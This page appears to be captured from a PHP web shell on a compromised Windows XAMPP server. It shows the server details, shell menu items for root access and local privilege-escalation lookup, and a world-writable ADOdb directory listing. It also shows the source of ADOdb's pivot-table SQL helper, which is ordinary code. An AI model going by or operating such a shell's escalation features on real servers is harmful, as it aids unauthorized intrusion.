Windows NT KAMIDAKI 10.0 build 19045 (Windows 10) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.3.9
Server IP : 192.168.3.16 & Your IP : 216.73.216.204
Domains :
Cant Read [ /etc/named.conf ]
User : SISTEMA
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
C: /
xampp /
php /
pear /
adodb /
Delete
Unzip
Name
Size
Permission
Date
Action
contrib
[ DIR ]
drwxrwxrwx
2024-07-26 18:49
cute_icons_for_site
[ DIR ]
drwxrwxrwx
2024-07-26 18:49
datadict
[ DIR ]
drwxrwxrwx
2024-07-26 18:49
docs
[ DIR ]
drwxrwxrwx
2024-07-26 18:49
drivers
[ DIR ]
drwxrwxrwx
2024-07-26 18:49
lang
[ DIR ]
drwxrwxrwx
2024-07-26 18:49
pear
[ DIR ]
drwxrwxrwx
2024-07-26 18:49
perf
[ DIR ]
drwxrwxrwx
2024-07-26 18:49
session
[ DIR ]
drwxrwxrwx
2024-07-26 18:49
tests
[ DIR ]
drwxrwxrwx
2024-07-26 18:49
xsl
[ DIR ]
drwxrwxrwx
2024-07-26 18:49
adodb-active-record.inc.php
26.13
KB
-rw-rw-rw-
2012-09-03 08:18
adodb-active-recordx.inc.php
37.81
KB
-rw-rw-rw-
2012-01-19 07:44
adodb-csvlib.inc.php
8.3
KB
-rw-rw-rw-
2012-09-03 08:18
adodb-datadict.inc.php
27.63
KB
-rw-rw-rw-
2012-09-03 08:18
adodb-error.inc.php
8.77
KB
-rw-rw-rw-
2012-09-03 08:18
adodb-errorhandler.inc.php
2.68
KB
-rw-rw-rw-
2012-09-03 08:18
adodb-errorpear.inc.php
2.22
KB
-rw-rw-rw-
2012-09-03 08:18
adodb-exceptions.inc.php
2.16
KB
-rw-rw-rw-
2012-09-03 08:18
adodb-iterator.inc.php
699
B
-rw-rw-rw-
2012-09-03 08:18
adodb-lib.inc.php
35.87
KB
-rw-rw-rw-
2012-09-03 08:18
adodb-memcache.lib.inc.php
4.92
KB
-rw-rw-rw-
2012-09-03 08:18
adodb-pager.inc.php
7.92
KB
-rw-rw-rw-
2012-09-03 08:18
adodb-pear.inc.php
9.34
KB
-rw-rw-rw-
2012-09-03 08:18
adodb-perf.inc.php
31.29
KB
-rw-rw-rw-
2012-09-03 08:18
adodb-php4.inc.php
317
B
-rw-rw-rw-
2012-09-03 08:18
adodb-time.inc.php
42.28
KB
-rw-rw-rw-
2012-01-19 07:44
adodb-xmlschema.inc.php
54.19
KB
-rw-rw-rw-
2010-05-06 12:24
adodb-xmlschema03.inc.php
61.32
KB
-rw-rw-rw-
2010-05-06 12:24
adodb.inc.php
123.61
KB
-rw-rw-rw-
2012-09-06 05:30
license.txt
25.47
KB
-rw-rw-rw-
2009-06-25 10:26
pivottable.inc.php
6.13
KB
-rw-rw-rw-
2012-01-19 07:44
readme.txt
1.73
KB
-rw-rw-rw-
2012-03-26 11:48
rsfilter.inc.php
1.47
KB
-rw-rw-rw-
2012-01-19 07:44
server.php
2.24
KB
-rw-rw-rw-
2012-01-19 07:44
toexport.inc.php
3.29
KB
-rw-rw-rw-
2012-01-19 07:44
tohtml.inc.php
5.48
KB
-rw-rw-rw-
2012-01-19 07:44
xmlschema.dtd
1.42
KB
-rw-rw-rw-
2009-06-25 10:26
xmlschema03.dtd
1.68
KB
-rw-rw-rw-
2009-06-25 10:26
Save
Rename
<?php /** * @version V4.93 10 Oct 2006 (c) 2000-2012 John Lim (jlim#natsoft.com). All rights reserved. * Released under both BSD license and Lesser GPL library license. * Whenever there is any discrepancy between the two licenses, * the BSD license will take precedence. * * Set tabs to 4 for best viewing. * */ /* * Concept from daniel.lucazeau@ajornet.com. * * @param db Adodb database connection * @param tables List of tables to join * @rowfields List of fields to display on each row * @colfield Pivot field to slice and display in columns, if we want to calculate * ranges, we pass in an array (see example2) * @where Where clause. Optional. * @aggfield This is the field to sum. Optional. * Since 2.3.1, if you can use your own aggregate function * instead of SUM, eg. $aggfield = 'fieldname'; $aggfn = 'AVG'; * @sumlabel Prefix to display in sum columns. Optional. * @aggfn Aggregate function to use (could be AVG, SUM, COUNT) * @showcount Show count of records * * @returns Sql generated */ function PivotTableSQL(&$db,$tables,$rowfields,$colfield, $where=false, $aggfield = false,$sumlabel='Sum ',$aggfn ='SUM', $showcount = true) { if ($aggfield) $hidecnt = true; else $hidecnt = false; $iif = strpos($db->databaseType,'access') !== false; // note - vfp 6 still doesn' work even with IIF enabled || $db->databaseType == 'vfp'; //$hidecnt = false; if ($where) $where = "\nWHERE $where"; if (!is_array($colfield)) $colarr = $db->GetCol("select distinct $colfield from $tables $where order by 1"); if (!$aggfield) $hidecnt = false; $sel = "$rowfields, "; if (is_array($colfield)) { foreach ($colfield as $k => $v) { $k = trim($k); if (!$hidecnt) { $sel .= $iif ? "\n\t$aggfn(IIF($v,1,0)) AS \"$k\", " : "\n\t$aggfn(CASE WHEN $v THEN 1 ELSE 0 END) AS \"$k\", "; } if ($aggfield) { $sel .= $iif ? "\n\t$aggfn(IIF($v,$aggfield,0)) AS \"$sumlabel$k\", " : "\n\t$aggfn(CASE WHEN $v THEN $aggfield ELSE 0 END) AS \"$sumlabel$k\", "; } } } else { foreach ($colarr as $v) { if (!is_numeric($v)) $vq = $db->qstr($v); else $vq = $v; $v = trim($v); if (strlen($v) == 0 ) $v = 'null'; if (!$hidecnt) { $sel .= $iif ? "\n\t$aggfn(IIF($colfield=$vq,1,0)) AS \"$v\", " : "\n\t$aggfn(CASE WHEN $colfield=$vq THEN 1 ELSE 0 END) AS \"$v\", "; } if ($aggfield) { if ($hidecnt) $label = $v; else $label = "{$v}_$aggfield"; $sel .= $iif ? "\n\t$aggfn(IIF($colfield=$vq,$aggfield,0)) AS \"$label\", " : "\n\t$aggfn(CASE WHEN $colfield=$vq THEN $aggfield ELSE 0 END) AS \"$label\", "; } } } if ($aggfield && $aggfield != '1'){ $agg = "$aggfn($aggfield)"; $sel .= "\n\t$agg as \"$sumlabel$aggfield\", "; } if ($showcount) $sel .= "\n\tSUM(1) as Total"; else $sel = substr($sel,0,strlen($sel)-2); // Strip aliases $rowfields = preg_replace('/ AS (\w+)/i', '', $rowfields); $sql = "SELECT $sel \nFROM $tables $where \nGROUP BY $rowfields"; return $sql; } /* EXAMPLES USING MS NORTHWIND DATABASE */ if (0) { # example1 # # Query the main "product" table # Set the rows to CompanyName and QuantityPerUnit # and the columns to the Categories # and define the joins to link to lookup tables # "categories" and "suppliers" # $sql = PivotTableSQL( $gDB, # adodb connection 'products p ,categories c ,suppliers s', # tables 'CompanyName,QuantityPerUnit', # row fields 'CategoryName', # column fields 'p.CategoryID = c.CategoryID and s.SupplierID= p.SupplierID' # joins/where ); print "<pre>$sql"; $rs = $gDB->Execute($sql); rs2html($rs); /* Generated SQL: SELECT CompanyName,QuantityPerUnit, SUM(CASE WHEN CategoryName='Beverages' THEN 1 ELSE 0 END) AS "Beverages", SUM(CASE WHEN CategoryName='Condiments' THEN 1 ELSE 0 END) AS "Condiments", SUM(CASE WHEN CategoryName='Confections' THEN 1 ELSE 0 END) AS "Confections", SUM(CASE WHEN CategoryName='Dairy Products' THEN 1 ELSE 0 END) AS "Dairy Products", SUM(CASE WHEN CategoryName='Grains/Cereals' THEN 1 ELSE 0 END) AS "Grains/Cereals", SUM(CASE WHEN CategoryName='Meat/Poultry' THEN 1 ELSE 0 END) AS "Meat/Poultry", SUM(CASE WHEN CategoryName='Produce' THEN 1 ELSE 0 END) AS "Produce", SUM(CASE WHEN CategoryName='Seafood' THEN 1 ELSE 0 END) AS "Seafood", SUM(1) as Total FROM products p ,categories c ,suppliers s WHERE p.CategoryID = c.CategoryID and s.SupplierID= p.SupplierID GROUP BY CompanyName,QuantityPerUnit */ //===================================================================== # example2 # # Query the main "product" table # Set the rows to CompanyName and QuantityPerUnit # and the columns to the UnitsInStock for diiferent ranges # and define the joins to link to lookup tables # "categories" and "suppliers" # $sql = PivotTableSQL( $gDB, # adodb connection 'products p ,categories c ,suppliers s', # tables 'CompanyName,QuantityPerUnit', # row fields # column ranges array( ' 0 ' => 'UnitsInStock <= 0', "1 to 5" => '0 < UnitsInStock and UnitsInStock <= 5', "6 to 10" => '5 < UnitsInStock and UnitsInStock <= 10', "11 to 15" => '10 < UnitsInStock and UnitsInStock <= 15', "16+" =>'15 < UnitsInStock' ), ' p.CategoryID = c.CategoryID and s.SupplierID= p.SupplierID', # joins/where 'UnitsInStock', # sum this field 'Sum' # sum label prefix ); print "<pre>$sql"; $rs = $gDB->Execute($sql); rs2html($rs); /* Generated SQL: SELECT CompanyName,QuantityPerUnit, SUM(CASE WHEN UnitsInStock <= 0 THEN UnitsInStock ELSE 0 END) AS "Sum 0 ", SUM(CASE WHEN 0 < UnitsInStock and UnitsInStock <= 5 THEN UnitsInStock ELSE 0 END) AS "Sum 1 to 5", SUM(CASE WHEN 5 < UnitsInStock and UnitsInStock <= 10 THEN UnitsInStock ELSE 0 END) AS "Sum 6 to 10", SUM(CASE WHEN 10 < UnitsInStock and UnitsInStock <= 15 THEN UnitsInStock ELSE 0 END) AS "Sum 11 to 15", SUM(CASE WHEN 15 < UnitsInStock THEN UnitsInStock ELSE 0 END) AS "Sum 16+", SUM(UnitsInStock) AS "Sum UnitsInStock", SUM(1) as Total FROM products p ,categories c ,suppliers s WHERE p.CategoryID = c.CategoryID and s.SupplierID= p.SupplierID GROUP BY CompanyName,QuantityPerUnit */ } ?>